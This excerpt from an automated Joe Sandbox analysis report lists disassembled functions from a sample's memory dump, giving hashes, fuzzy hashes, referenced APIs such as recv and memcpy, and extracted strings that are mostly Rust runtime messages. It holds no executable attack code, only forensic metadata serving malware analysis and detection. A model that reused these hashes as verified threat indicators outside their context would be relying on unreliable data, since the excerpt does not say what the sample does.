Instruction ID: b9c25691c295fa6e18cc53c03abb48d5612343b92286d752dbb2c096e5d98bdf
Opcode Fuzzy Hash: 93119471c1f6efe8fbfbf97ed26e9b2a80bd43b04e852abf22b216e192d1ffd0
Instruction Fuzzy Hash: 6E529162E04BC483E7218F2996012A86760FB687D8F56A721DF7D57796EF34E2D5C300

Function 00007FF6996DDC80 Relevance: 4.4, APIs: 3, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c829463470470f7b4964831b1ac1f0c3118e2d0008bfd1ec6e7c66954680678c
Instruction ID: 46face8e0e4db9830c45aa599b42be6a4f3194d4eb57d05d3ba423132c1c6bd2
Opcode Fuzzy Hash: c829463470470f7b4964831b1ac1f0c3118e2d0008bfd1ec6e7c66954680678c
Instruction Fuzzy Hash: 5462C363A14BC486E7218F29C9006E97760FB687D8F569722DFAD53395EF38E295C300

Function 00007FF699762B00 Relevance: 4.3, Strings: 3, Instructions: 574COMMON

Download Yara Rule

Strings

, xrefs: 00007FF699762D9B
INFINITY, xrefs: 00007FF699762F06
NAN, xrefs: 00007FF699762F8C

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: $INFINITY$NAN
API String ID: 0-3316895761
Opcode ID: e66b116a79e89db8228a9775d5b913a49cb029c4c3e7718543a81d22b4cab354
Instruction ID: 32659860063be0cf6e2765acf70c0f0730195e3d721013915b77ae6634f45c23
Opcode Fuzzy Hash: e66b116a79e89db8228a9775d5b913a49cb029c4c3e7718543a81d22b4cab354
Instruction Fuzzy Hash: 62220022F0868649FB718E64D8447B877A1EF447D8F8844B1DD4DDAB85DE2CE985C322

Function 00007FF699763350 Relevance: 4.1, Strings: 3, Instructions: 332COMMON

Download Yara Rule

Strings

NAN, xrefs: 00007FF699763488
<, xrefs: 00007FF699763642
INFINITY, xrefs: 00007FF6997633C7

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: <$INFINITY$NAN
API String ID: 0-2314501456
Opcode ID: 25cdb153779fdb788de3b14be86f6e6bfe9936a62491776514dcf1e098ff83ad
Instruction ID: 80c65ac37c8ac65fc85126ed2c9bfeecf06e4e999201912277e8951399074f9a
Opcode Fuzzy Hash: 25cdb153779fdb788de3b14be86f6e6bfe9936a62491776514dcf1e098ff83ad
Instruction Fuzzy Hash: 95D1E192F0868B84FB728E3988442B87B52EF417D4F4445B1D90DDE7D2EE3CA981C232

Function 00007FF6996EB800 Relevance: 3.1, APIs: 1, Instructions: 1894COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70dc1c02b5097ec0f2f7ae725ff55147b625c185937b75409fc0230ca7587782
Instruction ID: 1279d9c1b7d6d80c2b308d84ab67c7dd5d3a83d27467d64d85fc02ef9041be08
Opcode Fuzzy Hash: 70dc1c02b5097ec0f2f7ae725ff55147b625c185937b75409fc0230ca7587782
Instruction Fuzzy Hash: 9D13AD72A08BD589E7718F69DC503F933A4FB04788F445225DBAD8BB89DF3992A5D300

Function 00007FF699761780 Relevance: 3.1, Strings: 2, Instructions: 557COMMON

Download Yara Rule

Strings

assertion failed: digits < 3, xrefs: 00007FF69976210E
assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 00007FF699761EC7, 00007FF699762A7A

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: assertion failed: digits < 3$assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 0-2607668560
Opcode ID: 98b3385c3d579fad76b66177bc2c53a2ba71a8cce4d1cbd7e4d5b219d9e7a95d
Instruction ID: eecfccaf29022da24227c9a7cf787a2106a1b058b352f25e92b972061aab0b3a
Opcode Fuzzy Hash: 98b3385c3d579fad76b66177bc2c53a2ba71a8cce4d1cbd7e4d5b219d9e7a95d
Instruction Fuzzy Hash: E2220162B0968199FB318F6494543FC3BA0FB99798F4842B5DA9E8BBC1DE2CD5D1C301

Function 00007FF699717D00 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF699717D36
WSAGetLastError.WS2_32 ref: 00007FF699717D5C

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLastrecv
String ID:
API String ID: 2514157807-0
Opcode ID: 97e0600e879e761a32a99426fb51311392ce49051855d9f347c5144d9d9e71f8
Instruction ID: 26b8378146decf99107633cea9864843d1284c4272ea1217dcd6377e722627df
Opcode Fuzzy Hash: 97e0600e879e761a32a99426fb51311392ce49051855d9f347c5144d9d9e71f8
Instruction Fuzzy Hash: 3FF0D662B04A499AEB305A76DA40139A3A5EB097F0F244770CEACC7BD0DE2CE4918300

Function 00007FF6996DB350 Relevance: 2.9, APIs: 2, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5de9433cb98f94a430e6aaf40341db30cdcb2d7d06c1631c28e4995252198cf9
Instruction ID: 8ffe236bf48addb334cc4f7545f73b09e7ccbd3eda1473e295c37974df4a2c67
Opcode Fuzzy Hash: 5de9433cb98f94a430e6aaf40341db30cdcb2d7d06c1631c28e4995252198cf9
Instruction Fuzzy Hash: 61029C72A18AC585EB708F35D8483ED2760F798B98F584637CA7D8B798DE39D285D300

Function 00007FF6996DBA80 Relevance: 2.9, APIs: 2, Instructions: 418COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48d0c3accc6ac4c58f77e314b3ae2c2632e14838a64a6af3b66b43d06663d990
Instruction ID: d3641e2933bc6ff022e77775ff054ebe509af67ec8353df4c3f3f79ea39f34cb
Opcode Fuzzy Hash: 48d0c3accc6ac4c58f77e314b3ae2c2632e14838a64a6af3b66b43d06663d990
Instruction Fuzzy Hash: CCF1AF72A08AC586FB708E359C483E92261F795BD8F255636CE3D8B798DE39D681D300

Function 00007FF699759750 Relevance: 2.9, Strings: 2, Instructions: 362COMMON

Download Yara Rule

Strings

e0E0assertion failed: buf.len() >= ndigits || buf.len() >= maxlen, xrefs: 00007FF699759A52
-+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF69975980A, 00007FF699759C8E

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: -+NaNinf00e00E0assertion failed: ndigits > 0$e0E0assertion failed: buf.len() >= ndigits || buf.len() >= maxlen
API String ID: 0-3864725730
Opcode ID: 547a5d9ec5138697606fc12009170360ae8bddcb2323316c68655c41b2df0fc9
Instruction ID: 3d3ed8af20774a64be8545a06da08e3166e25214f619b24773382c05a7e8ea63
Opcode Fuzzy Hash: 547a5d9ec5138697606fc12009170360ae8bddcb2323316c68655c41b2df0fc9
Instruction Fuzzy Hash: 93F1C162A08A8199F7B28F20DA403F923A5FB04388F945575DE4DDBB98EF7CD646C301

Function 00007FF699769BC0 Relevance: 2.8, Strings: 2, Instructions: 288COMMON

Download Yara Rule

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF699769CE3, 00007FF699769F64, 00007FF699769F97, 00007FF699769FB3
-+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 00007FF699769DBB

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: -+NaNinf00e00E0assertion failed: ndigits > 0$00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-1873708790
Opcode ID: b47bf52a956a6c958f1587c6764a72f770f8ed38a988b0e8f0d788a256c7815f
Instruction ID: 6ee002c748d1750ac2c980535e270634217e4295e2c54cb13771dee073299b1b
Opcode Fuzzy Hash: b47bf52a956a6c958f1587c6764a72f770f8ed38a988b0e8f0d788a256c7815f
Instruction Fuzzy Hash: 9BA16963B286558AEB24CF29D9143B837A2FB45BC5F449531DE0ECB794DE7CA905C302

Function 00007FF69970DD00 Relevance: 2.8, Strings: 2, Instructions: 273COMMON

Download Yara Rule

Strings

overflow when subtracting duration from instant, xrefs: 00007FF69970DFF3, 00007FF69970E0A0
overflow when adding duration to instantlibrary\std\src\time.rs, xrefs: 00007FF69970DE9F, 00007FF69970DF51

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: overflow when adding duration to instantlibrary\std\src\time.rs$overflow when subtracting duration from instant
API String ID: 0-3373325108
Opcode ID: 0565f850d5a905c63ce04a5ade45597cded546ea6001bd2c79164f9e7debcf4c
Instruction ID: cfcc648acc92db9f04cb02ffb15a2135f53b25c211190acbbf748490f1ca8ca5
Opcode Fuzzy Hash: 0565f850d5a905c63ce04a5ade45597cded546ea6001bd2c79164f9e7debcf4c
Instruction Fuzzy Hash: 77B12562F247458AEB24CF78E8443B83366EB54398F50D679C91D9AB94EF3DA185C300

Function 00007FF6996D1665 Relevance: 2.8, Strings: 2, Instructions: 260COMMON

Download Yara Rule

Strings

UUUU, xrefs: 00007FF6996D169F
3333, xrefs: 00007FF6996D1904

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: 3333$UUUU
API String ID: 0-2679824526
Opcode ID: 0b221bbdeef47010658f7fc4f1bdbca6138b9f93817a83bd168641643622ae09
Instruction ID: 8ae25a974b430e75f72bc1abc21894774c4d0539094cf83fe4a76af74983093c
Opcode Fuzzy Hash: 0b221bbdeef47010658f7fc4f1bdbca6138b9f93817a83bd168641643622ae09
Instruction Fuzzy Hash: 1FB1F372A18A8582F7398F04E4503FAB3A1FB84784F654236EBAE46794DF7CE585D700

Function 00007FF69970FF10 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF69970FF15
0123456789abcdef, xrefs: 00007FF6997100ED

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 0-2027556079
Opcode ID: f125fa777c9b713af963a93f8e5d16da6fa5998d30dfe893d3f77d8afa9f9e5c
Instruction ID: f27ca463e5186099715863f368470b14b9a130f03f2aeefcd8520b2bbb24bb2c
Opcode Fuzzy Hash: f125fa777c9b713af963a93f8e5d16da6fa5998d30dfe893d3f77d8afa9f9e5c
Instruction Fuzzy Hash: 8E613752E1C6D159F3398E2445202BD3EA1E717388F0485B9EAABAF6E5CE3D9146D310

Function 00007FF6996F3DD0 Relevance: 2.4, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6996F3E69

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: a38de8fa35f84c855b802005e72921fa9324596461d73d6f15d7b7e2412866e1
Instruction ID: 4165dbf761f802a79428905de5ad47b265e2a6901cc9f53d49c6f767e390346e
Opcode Fuzzy Hash: a38de8fa35f84c855b802005e72921fa9324596461d73d6f15d7b7e2412866e1
Instruction Fuzzy Hash: 5FB27B32A08BC189FB718F25D8447F927A1FB09788F544176DA6D8BB89DF39D694E300

Function 00007FF6996CFF83 Relevance: 2.2, Strings: 1, Instructions: 994COMMON

Download Yara Rule

Strings

assertion failed: lookahead_size >= len_to_move, xrefs: 00007FF6996D107F

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: assertion failed: lookahead_size >= len_to_move
API String ID: 0-1193057213
Opcode ID: f0c0ae32f07f374757cf32290c73185b533844ff279fabdaf0c837a95eb7c6d5
Instruction ID: 226dde5d9bc2917036f9983df556b6158f3ad01e152c92c45d9b670ce80cf0a7
Opcode Fuzzy Hash: f0c0ae32f07f374757cf32290c73185b533844ff279fabdaf0c837a95eb7c6d5
Instruction Fuzzy Hash: 74A2D172A0868186EB758F25E5403A9B7A0FB48780F504176EFAE87B95DF7CE4A4D700

Function 00007FF6997334B6 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

internal error: entered unreachable code/rust/deps\memchr-2.5.0\src\memmem\x86\avx.rs, xrefs: 00007FF6997334B6

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: internal error: entered unreachable code/rust/deps\memchr-2.5.0\src\memmem\x86\avx.rs
API String ID: 0-3329622625
Opcode ID: 1fa760ea6060da2a839ba96ccfb6cdd64bb8e8eee01c00345c5055e6ba91de01
Instruction ID: 18e51e51e14eed28206461d8cca97ea0ee9259b22be72cb45b31dc100e32d352
Opcode Fuzzy Hash: 1fa760ea6060da2a839ba96ccfb6cdd64bb8e8eee01c00345c5055e6ba91de01
Instruction Fuzzy Hash: B0222162B086A289E7318F35A4027BD7BA1F7057C8F944272DE5E8B390DF79E556C320

Function 00007FF6996C565B Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

0b0x0o00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19, xrefs: 00007FF6997683FB, 00007FF69976867C

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: 0b0x0o00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899assertion failed: *curr > 19
API String ID: 0-528522809
Opcode ID: fc41eb1ede8def6e6519501b13a1721de8b2c3ff54d1bada0408f23752f5a195
Instruction ID: 7317b96bda067dd1f1257da8cbae89ec249f9e3ec8159ecd49d68bf462ab4286
Opcode Fuzzy Hash: fc41eb1ede8def6e6519501b13a1721de8b2c3ff54d1bada0408f23752f5a195
Instruction Fuzzy Hash: 8AF13132A1869186E778DF24E0147F97724FB55388F80A439DE8E8BBD0DE3D9259C342

Function 00007FF69975F730 Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

00000000, xrefs: 00007FF69975F780

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: 00000000
API String ID: 0-3221785859
